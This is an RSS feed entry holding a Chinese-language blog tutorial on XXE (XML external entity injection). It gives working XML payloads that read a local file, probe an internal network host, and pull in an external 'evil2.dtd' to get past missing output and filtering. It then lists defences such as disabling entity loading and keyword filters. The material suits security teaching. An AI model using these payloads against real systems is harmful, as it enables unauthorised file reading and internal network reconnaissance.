<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>XXE on 首页 | Widegram</title>
    <link>https://widegram.com/tags/xxe/</link>
    <description>Recent content in XXE on 首页 | Widegram</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Thu, 14 Oct 2021 14:31:26 +0000</lastBuildDate><atom:link href="https://widegram.com/tags/xxe/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>XXE</title>
      <link>https://widegram.com/2021/10/XXE/</link>
      <pubDate>Thu, 14 Oct 2021 14:31:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/XXE/</guid>
      <description>XXE简介 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异： XML 被设计为传输和存储数据，其焦点是数据的内容。 HTML 被设计用来显示数据，其焦点是数据的外观。 HTML 旨在显示信息 ，而 XML 旨在传输信息。
漏洞利用 1.提交的数据包含XML格式如：
&amp;lt;forgot&amp;gt;&amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt;&amp;lt;/forgot&amp;gt; 2.请求头中如： Content-Type：text/xml或Content-type:application/xml 文件读取：
&amp;lt;?xml version=&amp;#34;1.0&amp;#34;?&amp;gt; &amp;lt;!DOCTYPE Mikasa [ &amp;lt;!ENTITY test SYSTEM &amp;#34;file:///d:/www.txt&amp;#34;&amp;gt; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;test;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; 内网探针：
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt; &amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt; &amp;lt;!ENTITY rabbit SYSTEM &amp;#34;http://192.168.0.103:8081/index.txt&amp;#34; &amp;gt; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;rabbit;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; 外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; ?&amp;gt; &amp;lt;!DOCTYPE test [ &amp;lt;!ENTITY % file SYSTEM &amp;#34;http://127.0.0.1:8081/evil2.dtd&amp;#34;&amp;gt; %file; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;send;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; evil2.dtd &amp;lt;!ENTITY send SYSTEM &amp;#34;file:///d:/www.</description>
      <content:encoded><![CDATA[<h2 id="xxe简介">XXE简介</h2>
<p>XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，<strong>XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件</strong>，造成<strong>文件读取</strong>、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异：
XML 被设计为传输和存储数据，其焦点是数据的内容。
HTML 被设计用来显示数据，其焦点是数据的外观。
HTML 旨在显示信息 ，而 XML 旨在传输信息。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<p>1.提交的数据包含XML格式如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#f92672">&lt;forgot&gt;&lt;username&gt;</span>admin<span style="color:#f92672">&lt;/username&gt;&lt;/forgot&gt;</span>
</span></span></code></pre></div><p>2.请求头中如：
Content-Type：text/xml或Content-type:application/xml
文件读取：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE Mikasa [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY test SYSTEM  &#34;file:///d:/www.txt&#34;&gt;</span>
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;test;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span></code></pre></div><p>内网探针：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>        
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE foo [ 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ELEMENT foo ANY &gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY rabbit SYSTEM &#34;http://192.168.0.103:8081/index.txt&#34; &gt;</span>
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;rabbit;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span></code></pre></div><p>外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; ?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE test [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    &lt;!ENTITY % file SYSTEM &#34;http://127.0.0.1:8081/evil2.dtd&#34;&gt;</span>
</span></span><span style="display:flex;"><span>    %file;
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;send;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span>evil2.dtd
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY send SYSTEM &#34;file:///d:/www.txt&#34;&gt;</span>
</span></span></code></pre></div><h2 id="xxe防御">XXE防御</h2>
<p>#XXE修复防御方案
方案1-禁用外部实体
PHP:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">libxml_disable_entity_loader</span>(<span style="color:#66d9ef">true</span>);
</span></span></code></pre></div><p>JAVA:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>DocumentBuilderFactory dbf <span style="color:#f92672">=</span>DocumentBuilderFactory.<span style="color:#a6e22e">newInstance</span>();dbf.<span style="color:#a6e22e">setExpandEntityReferences</span>(<span style="color:#66d9ef">false</span>);
</span></span></code></pre></div><p>Python：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> lxml <span style="color:#f92672">import</span> etreexmlData <span style="color:#f92672">=</span> etree<span style="color:#f92672">.</span>parse(xmlSource,etree<span style="color:#f92672">.</span>XMLParser(resolve_entities<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>))
</span></span></code></pre></div><p>方案2-过滤用户提交的XML数据
过滤关键词：&lt;!DOCTYPE和&lt;!ENTITY，或者SYSTEM和PUBLIC</p>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
